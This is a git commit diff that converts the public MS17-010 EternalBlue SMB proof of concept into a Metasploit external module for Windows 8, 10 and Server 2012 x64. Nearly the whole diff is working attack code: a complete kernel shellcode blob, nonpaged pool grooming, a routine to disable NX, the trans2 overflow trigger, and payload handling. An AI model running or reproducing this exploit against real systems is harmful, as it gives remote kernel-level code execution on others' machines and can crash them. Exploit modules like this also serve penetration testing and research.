Convert PoC to external module
parent
02384371c4
commit
ecea36c459
|
@ -1,11 +1,16 @@
|
|||
#!/usr/bin/python
|
||||
#!/usr/bin/env python2.7
|
||||
|
||||
from metasploit import module
|
||||
from impacket import smb, ntlm
|
||||
from struct import pack
|
||||
from base64 import b64decode
|
||||
import sys
|
||||
import socket
|
||||
|
||||
'''
|
||||
EternalBlue exploit for Windows 8 and 2012 by sleepya
|
||||
metadata = {
|
||||
'name': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+',
|
||||
'description': '''
|
||||
EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya
|
||||
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
|
||||
The exploit support only x64 target
|
||||
|
||||
|
@ -13,6 +18,7 @@ Tested on:
|
|||
- Windows 2012 R2 x64
|
||||
- Windows 8.1 x64
|
||||
- Windows 10 Pro Build 10240 x64
|
||||
- Windows 10 Enterprise Evaluation Build 10586 x64
|
||||
|
||||
|
||||
Default Windows 8 and later installation without additional service info:
|
||||
|
@ -33,7 +39,7 @@ Exploit info:
|
|||
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
|
||||
- The exploit is likely to crash a target when it failed
|
||||
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
|
||||
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
|
||||
- If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5)
|
||||
- See the code and comment for exploit detail.
|
||||
|
||||
|
||||
|
@ -44,13 +50,99 @@ Disable NX method:
|
|||
- Write '\x00' to disable the NX flag
|
||||
- Second trigger, do the same as Windows 7 exploit
|
||||
- From my test, if exploit disable NX successfully, I always get code execution
|
||||
'''
|
||||
|
||||
''',
|
||||
'authors': [
|
||||
'Equation Group', # OG research and exploit
|
||||
'Shadow Brokers', # Hack and dump
|
||||
'sleepya', # Research and PoC
|
||||
'wvu' # Babby's first external module
|
||||
],
|
||||
'references': [
|
||||
{'type': 'msb', 'ref': 'MS17-010'},
|
||||
{'type': 'cve', 'ref': '2017-0143'},
|
||||
{'type': 'cve', 'ref': '2017-0144'},
|
||||
{'type': 'cve', 'ref': '2017-0145'},
|
||||
{'type': 'cve', 'ref': '2017-0146'},
|
||||
{'type': 'cve', 'ref': '2017-0147'},
|
||||
{'type': 'cve', 'ref': '2017-0148'},
|
||||
{'type': 'edb', 'ref': '42030'},
|
||||
{'type': 'url', 'ref': 'https://github.com/worawit/MS17-010'},
|
||||
{'type': 'aka', 'ref': 'ETERNALBLUE'}
|
||||
],
|
||||
'date': 'Mar 14 2017',
|
||||
'type': 'remote_exploit_generic',
|
||||
'rank': 'AverageRanking',
|
||||
'privileged': True,
|
||||
'wfsdelay': 5,
|
||||
'targets': [
|
||||
{'platform': 'win', 'arch': 'x64'}
|
||||
],
|
||||
'options': {
|
||||
'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
|
||||
'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 445},
|
||||
'GroomAllocations': {'type': 'int', 'description': 'Initial number of times to groom the kernel pool.', 'required': True, 'default': 13},
|
||||
# if anonymous can access any share folder, 'IPC$' is always accessible.
|
||||
# authenticated user is always able to access 'IPC$'.
|
||||
# Windows 2012 does not allow anonymous to login if no share is accessible.
|
||||
USERNAME=''
|
||||
PASSWORD=''
|
||||
'SMBUser': {'type': 'string', 'description': '(Optional) The username to authenticate as', 'required': False, 'default': ''},
|
||||
'SMBPass': {'type': 'string', 'description': '(Optional) The password for the specified username', 'required': False, 'default': ''}
|
||||
}
|
||||
}
|
||||
|
||||
eternalblue_kshellcode_x64 = (
|
||||
'\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d'
|
||||
'\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a'
|
||||
'\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48'
|
||||
'\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48'
|
||||
'\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8'
|
||||
'\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8'
|
||||
'\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50'
|
||||
'\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48'
|
||||
'\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31'
|
||||
'\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0'
|
||||
'\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa'
|
||||
'\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57'
|
||||
'\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49'
|
||||
'\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d'
|
||||
'\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00'
|
||||
'\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f'
|
||||
'\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00'
|
||||
'\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04'
|
||||
'\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00'
|
||||
'\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6'
|
||||
'\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78'
|
||||
'\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d\x5a'
|
||||
'\x6a\xfa\xc1\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c'
|
||||
'\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00'
|
||||
'\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b'
|
||||
'\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce'
|
||||
'\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74'
|
||||
'\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00'
|
||||
'\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d'
|
||||
'\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46'
|
||||
'\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3'
|
||||
'\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89'
|
||||
'\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02'
|
||||
'\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84'
|
||||
'\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20'
|
||||
'\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00'
|
||||
'\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c'
|
||||
'\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59'
|
||||
'\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75'
|
||||
'\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b'
|
||||
'\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89'
|
||||
'\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06'
|
||||
'\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65'
|
||||
'\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48'
|
||||
'\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b'
|
||||
'\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83'
|
||||
'\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32'
|
||||
'\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff'
|
||||
'\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22'
|
||||
'\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49'
|
||||
'\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20'
|
||||
'\xff\xd0\x48\x83\xc4\x30\xc3'
|
||||
)
|
||||
|
||||
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
||||
NTFEA_SIZE = 0x9000
|
||||
|
@ -234,9 +326,9 @@ def sendEcho(conn, tid, data):
|
|||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('got good ECHO response')
|
||||
module.log('got good ECHO response')
|
||||
else:
|
||||
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
|
||||
|
||||
|
||||
# override SMB.neg_session() to allow forcing ntlm authentication
|
||||
|
@ -248,7 +340,7 @@ class MYSMB(smb.SMB):
|
|||
def neg_session(self, extended_security = True, negPacket = None):
|
||||
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
|
||||
|
||||
def createSessionAllocNonPaged(target, size):
|
||||
def createSessionAllocNonPaged(target, size, username, password):
|
||||
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
|
||||
_, flags2 = conn.get_flags()
|
||||
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||
|
@ -278,10 +370,10 @@ def createSessionAllocNonPaged(target, size):
|
|||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('SMB1 session setup allocate nonpaged pool success')
|
||||
module.log('SMB1 session setup allocate nonpaged pool success')
|
||||
return conn
|
||||
|
||||
if USERNAME:
|
||||
if username:
|
||||
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
|
||||
# Note: If target allows only NTLMv2 authentication, the login will always fail.
|
||||
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
|
||||
|
@ -291,20 +383,20 @@ def createSessionAllocNonPaged(target, size):
|
|||
|
||||
# new SMB packet to reset flags
|
||||
pkt = smb.NewSMBPacket()
|
||||
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
||||
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password))
|
||||
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
||||
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
|
||||
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username + '\x00'*16
|
||||
pkt.addCommand(sessionSetup)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('SMB1 session setup allocate nonpaged pool success')
|
||||
module.log('SMB1 session setup allocate nonpaged pool success')
|
||||
return conn
|
||||
|
||||
# lazy to check error code, just print fail message
|
||||
print('SMB1 session setup allocate nonpaged pool failed')
|
||||
module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
|
@ -407,9 +499,9 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB() # must be success
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('got good NT Trans response')
|
||||
module.log('got good NT Trans response')
|
||||
else:
|
||||
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
|
||||
sys.exit(1)
|
||||
|
||||
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
|
||||
|
@ -429,8 +521,8 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
|
|||
|
||||
# connect to target and send a large nbss size with data 0x80 bytes
|
||||
# this method is for allocating big nonpaged pool on target
|
||||
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
||||
sk = socket.create_connection((target, 445))
|
||||
def createConnectionWithBigSMBFirst80(target, port, for_nx=False):
|
||||
sk = socket.create_connection((target, port))
|
||||
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
|
||||
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
||||
# Also this is invalid SMB2 message.
|
||||
|
@ -448,19 +540,19 @@ def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
|||
return sk
|
||||
|
||||
|
||||
def exploit(target, shellcode, numGroomConn):
|
||||
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password):
|
||||
# force using smb.SMB for SMB1
|
||||
conn = smb.SMB(target, target)
|
||||
conn.login(USERNAME, PASSWORD)
|
||||
conn.login(username, password)
|
||||
server_os = conn.get_server_os()
|
||||
print('Target OS: '+server_os)
|
||||
module.log('Target OS: '+server_os)
|
||||
if server_os.startswith("Windows 10 "):
|
||||
build = int(server_os.split()[-1])
|
||||
if build >= 14393: # version 1607
|
||||
print('This exploit does not support this target')
|
||||
module.log('This exploit does not support this target', 'error')
|
||||
sys.exit()
|
||||
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
|
||||
print('This exploit does not support this target')
|
||||
module.log('This exploit does not support this target', 'error')
|
||||
sys.exit()
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
|
@ -471,31 +563,31 @@ def exploit(target, shellcode, numGroomConn):
|
|||
|
||||
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
||||
nxconn = smb.SMB(target, target)
|
||||
nxconn.login(USERNAME, PASSWORD)
|
||||
nxconn.login(username, password)
|
||||
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
|
||||
|
||||
# create some big buffer at server
|
||||
# this buffer MUST NOT be big enough for overflown buffer
|
||||
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
|
||||
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010, username, password)
|
||||
|
||||
# groom nonpaged pool
|
||||
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
||||
srvnetConn = []
|
||||
for i in range(numGroomConn):
|
||||
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# create buffer size NTFEA_SIZE at server
|
||||
# this buffer will be replaced by overflown buffer
|
||||
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
|
||||
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10, username, password)
|
||||
# disconnect allocConn to free buffer
|
||||
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
||||
allocConn.get_socket().close()
|
||||
|
||||
# hope one of srvnetConn is next to holeConn
|
||||
for i in range(5):
|
||||
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# remove holeConn to create hole for fea buffer
|
||||
|
@ -507,9 +599,9 @@ def exploit(target, shellcode, numGroomConn):
|
|||
recvPkt = nxconn.recvSMB()
|
||||
retStatus = recvPkt.getNTStatus()
|
||||
if retStatus == 0xc000000d:
|
||||
print('good response status for nx: INVALID_PARAMETER')
|
||||
module.log('good response status for nx: INVALID_PARAMETER')
|
||||
else:
|
||||
print('bad response status for nx: 0x{:08x}'.format(retStatus))
|
||||
module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')
|
||||
|
||||
# one of srvnetConn struct header should be modified
|
||||
# send '\x00' to disable nx
|
||||
|
@ -522,9 +614,9 @@ def exploit(target, shellcode, numGroomConn):
|
|||
recvPkt = conn.recvSMB()
|
||||
retStatus = recvPkt.getNTStatus()
|
||||
if retStatus == 0xc000000d:
|
||||
print('good response status: INVALID_PARAMETER')
|
||||
module.log('good response status: INVALID_PARAMETER')
|
||||
else:
|
||||
print('bad response status: 0x{:08x}'.format(retStatus))
|
||||
module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')
|
||||
|
||||
# one of srvnetConn struct header should be modified
|
||||
# a corrupted buffer will write recv data in designed memory address
|
||||
|
@ -543,27 +635,26 @@ def exploit(target, shellcode, numGroomConn):
|
|||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
|
||||
def exploit(args):
|
||||
rport = int(args['RPORT'])
|
||||
numGroomConn = int(args['GroomAllocations'])
|
||||
smbuser = args['SMBUser'] if 'SMBUser' in args else ''
|
||||
smbpass = args['SMBPass'] if 'SMBPass' in args else ''
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
TARGET=sys.argv[1]
|
||||
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||
|
||||
fp = open(sys.argv[2], 'rb')
|
||||
sc = fp.read()
|
||||
fp.close()
|
||||
sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded'])
|
||||
|
||||
if len(sc) > 0xe80:
|
||||
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
|
||||
module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
|
||||
sys.exit()
|
||||
|
||||
# Now, shellcode is known. create a feaList
|
||||
feaList = createFeaList(len(sc))
|
||||
|
||||
print('shellcode size: {:d}'.format(len(sc)))
|
||||
print('numGroomConn: {:d}'.format(numGroomConn))
|
||||
module.log('shellcode size: {:d}'.format(len(sc)))
|
||||
module.log('numGroomConn: {:d}'.format(numGroomConn))
|
||||
|
||||
exploit(TARGET, sc, numGroomConn)
|
||||
print('done')
|
||||
_exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
|
||||
module.log('done')
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, exploit)
|
||||
|
|
Loading…
Reference in New Issue